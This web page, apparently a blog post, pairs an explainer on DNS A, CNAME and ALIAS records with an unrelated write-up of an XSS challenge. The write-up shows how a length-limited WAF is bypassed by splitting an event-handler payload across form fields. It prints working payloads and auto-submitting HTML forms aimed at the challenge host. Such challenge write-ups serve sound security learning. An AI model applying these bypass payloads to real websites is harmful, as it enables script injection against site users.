Difference between A,CNAME and Alias record

What is a CNAME record?

CNAME stands for Canonical Name. CNAME records can be used to alias one name to another.

For example, if you have a server where you keep all of your documents online, it might normally be accessed through docs.example.com. You may also want to access it through documents.example.com. One way to make this possible is to add a CNAME record that points documents.example.com to docs.example.com. When someone visits documents.example.comthey will see the exact same content as docs.example.com.

To use CNAME records, select CNAME from the Add Record drop down in the advanced editor. Then enter the hostname you would like to alias from and the fully-qualified domain name you would like to alias to. You may also enter @ in the Alias for field to represent the domain itself.

For example, if the domain were example.com and you wanted www.example.com to point to example.com you could put www in the name field and @ in the alias for field.

What is an ALIAS record?

An ALIAS record is a virtual record type that we created to provide CNAME-like behavior on apex domains.

For example, if your domain is example.com and you want it to point to a host name like myapp.herokuapp.com, then you cannot use a CNAME record, but you can use an ALIAS record. The ALIAS record will automatically resolve your domain to one or more A records at resolution time and thus resolvers see your domain simply as if it had A records.

How does it work?

The DNSimple name servers are currently based on an open source Erlang DNS server that we developed along with the help of others in the DNS community. The erl-dns server provides a mechanism for plugging in custom handlers (here is a sample custom handler) and we use that extension mechanism for providing an ALIAS handler. Each time a request hits the DNSimple name servers for either an A or AAAA record type the custom handler is invoked and attempts to resolve the ALIAS into its appropriate IPv4 or IPv6 address, respectively. It does this by asking a resolver to resolve the domain. At the moment we are running PowerDNS’s resolver running locally on each system for this purpose.

If the resolution succeeds then the handler extracts the A and AAAA records and returns them to the erl-dns server process, which then goes on its merry way. It also sticks the result in an in-memory cache (you’ll see why in a second).
If the resolution fails, for example due to a timeout, then the cached response is returned, if one exists. We have the request timeout set quite low (500 milliseconds) and we may even move it lower in the future. If there is no response in the cache then the request is retried again, up to a maximum number of retries. If the request ultimately fails then we return an empty result set.

To support secondary DNS servers, especially ones that connect to us and pull zones using AXFR, we must resolve the ALIAS in a different way. Currently we resolve it as part of the secondary DNS setup process initially and then run a scheduled job to update the ALIAS record at secondary name servers by resolving them again, removing the old records and writing the new records to our zone transfer database, and then finally sending a NOTIFY message to the appropriate secondary name servers.

The actual implementation is handled by a small Go application which our Rails application calls, either from within Rails execution or in an aynchrnonous job, to handle the resolution. The Go application currently calls to Google’s public resolvers to resolve the ALIAS record.

When creating an ALIAS record you will notice than additional TXT field is created, this field is optional and it can be used for debugging purposes.

What is an A record?

An A record maps a domain name to the IP address (IPv4) of the computer hosting the domain. Simply put, an A record is used to find the IP address of a computer connected to the internet from a name.

The A in A record stands for Address. Whenever you visit a web site, send an email, connect to Twitter or Facebook or do almost anything on the Internet, the address you enter is a series of words connected with dots.

For example, to access the DNSimple website you enter www.dnsimple.com. At our name server there is an A record that points to the IP address 208.93.64.253. This means that a request from your browser to www.dnsimple.com is directed to the server with IP address 208.93.64.253.

A Records are the simplest type of DNS records, yet one of the primary records used in DNS servers.

You can actually do quite a bit more with A records, including using multiple A records for the same domain in order to provide redundancy. Additionally, multiple names could point to the same address, in which case each would have its own A record pointing to the that same IP address.

Querying A records

You can use dig to determine the A record associated to a domain name. The result is contained in the ANSWER section and it contains the fully-qualified domain name (FQDN), the remaining time-to-live (TTL) and the IP address.

$ dig A api.dnsimple.com

; <<>> DiG 9.8.3-P1 <<>> A api.dnsimple.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5792
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;api.dnsimple.com.  IN A

;; ANSWER SECTION:
api.dnsimple.com. 59 IN A 208.93.64.253

;; Query time: 80 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sun Jul 31 22:21:31 2016
;; MSG SIZE  rcvd: 50

A record structure

In DNSimple we represent A record with the following information:

Name	The host name for the record, without the domain name. This is generally referred as “subdomain”. We automatically append the domain name.
TTL	The time-to-leave in seconds. This is the amount of time the record is allowed to be cached by a resolver.
Address	The IPv4 address the A record points to.

Managing A records

You can create, update and delete A records for your domain using the DNSimple record editor.

How the WAF works ?

hi all,

one more amazing topic today about WAF.

The challenge has 3 vulnerable input tags at the value attributes (Address1, Address2, Zip).
Double quotes weren’t filtered so the value attribute quotes can be closed and the input tag can be closed using ‘>’ but you can’t open a new HTML tag using ‘<‘ character as it was getting removed. So the only possible way is to use the event handlers to execute JavaScript, The problem that all event handlers were getting blocked by the WAF.  However there was a weakness in the WAF that it only blocks your payload if it exceeded 10 characters.

So using a payload like “onfocus= will get accepted and reflected in the response because it’s length is only 9 characters

But using a payload like “onfocus=alert(1) will be rejected and blocked by the WAF beause it’s length is 17 characters.

How to Bypass the WAF and execute Javascript ?

To bypass the WAF, we have to bypass the 10 characters length limitation.  This can be done using a simple trick by splitting the XSS payload over the 3 affected input tags in the page. So in first vulnerable input tag you can use the shortest event handler which is oncut and use payload like “oncut=’/* which is exactly 10 characters and in the second vulnerable input tag you can continue the rest of the payload and close the multi line comment */alert(1337)’ as the following.

The payload will look like the following . The “Address Line 1” and “Address Line 2” will act as it was only one input tag

Now if you write anything inside “Address Line 1” field then you cut it using “CTRL + X” , The XSS will be fired.

This solved the challenge but unfortunately it requires a lot of interaction from the user and it’s hard to exploit it in real world

Now let’s dive into more cool solutions for the challenge, i will start with my own solution 

My Solution:

I’ve solved the challenge with a similar technique but using a different event handler which is onblur , it’s longer thanoncut by  one character . so using “onblur=’/* will be 11 character and unfortunately it will get blocked by the WAF.  So the problem now i need one character to just comment inside the JavaScript to make my payload length is 10 instead of 11, so is that possible ?

Luckily Yes! it’s possible and thanks goes to ES6 (ECMAScript), it provides us with the template strings (accent grave) which are enclosed by the back-ticks  . One of the functions of template strings in ES6 is to make a multi line strings . so doing something like

1 2	console.log(`This is the first line This is the second line`);

Will appear as two lines with a line break.

So i used the template strings to make the multi line comment inside the javascript using one single character.

Here is the final payload I’ve used to solve the challenge:

<html>
	<!-- XSS Challenge Solution:
	Address Line 1: "onblur<='`
	Address Line 2: `;alert(1337)'autofocus x="
	Zip Code: "autofocus x=
	-->
	<body>
	<form action="http://xss-challenge.secgeek.net/" method="POST">
	<input type="hidden" name="fullname" value="" />
	<input type="hidden" name="address1" value="&quot;onblur&lt;&#61;&apos;&#96;" />
	<input type="hidden" name="address2" value="&#96;&#59;alert&#40;1337&#41;&apos;autofocus&#32;x&#61;&quot;" />
	<input type="hidden" name="country" value="" />
	<input type="hidden" name="city" value="" />
	<input type="hidden" name="state" value="" />
	<input type="hidden" name="zip" value="&quot;autofocus&#32;x&#61;" />
	<input type="hidden" name="user&#95;selected" value="false" />
	</form>
	<script>document.forms[0].submit()</script>
	</body>
	</html> Solution was simply to use onblur event handler along with autofocus as following Address Line 1: 1 "onblur<='` Address Line 2: 1 `;alert(1337)'autofocus x=" Zip Code: 1 "autofocus x= The XSS payload will fire when you press a left click with the mouse anywhere inside the page or when you press with the mouse outside the browser window, like on the start menu or the taskbar. Much better, right  ? But it’s still need a mild interaction from the user. Now let’s shed the light on some of the coolest solutions I’ve received that requires zero user interaction. The Solution: 1 2 3 4 5 6 7 8 9 10 11 12 <form method="post" action="http://xss-challenge.secgeek.net/" target=w> <input name="address1" hidden value='"o<nblur=&apos;`'> <input name="zip" hidden value='`,alert(1337)&apos;autofocus="'> </form> <button onclick=go()>go</button> <script> function go(){ w=window.open('','w'); document.forms[0].submit(); setTimeout(function(){w.location="http://xss-challenge.secgeek.net/#sbtn";},2000); } </script> finally, solved the challenge with a creative payload that use onblur and autofocus with an extra trick , he use window.open to open the challenge page in a new window then he redirect the location of the window to solved after 2 seconds which makes the address1 field lose it’s focus and the onblur event gets executed without any user interaction! Thanks for reading blog,please comment below if you have any question.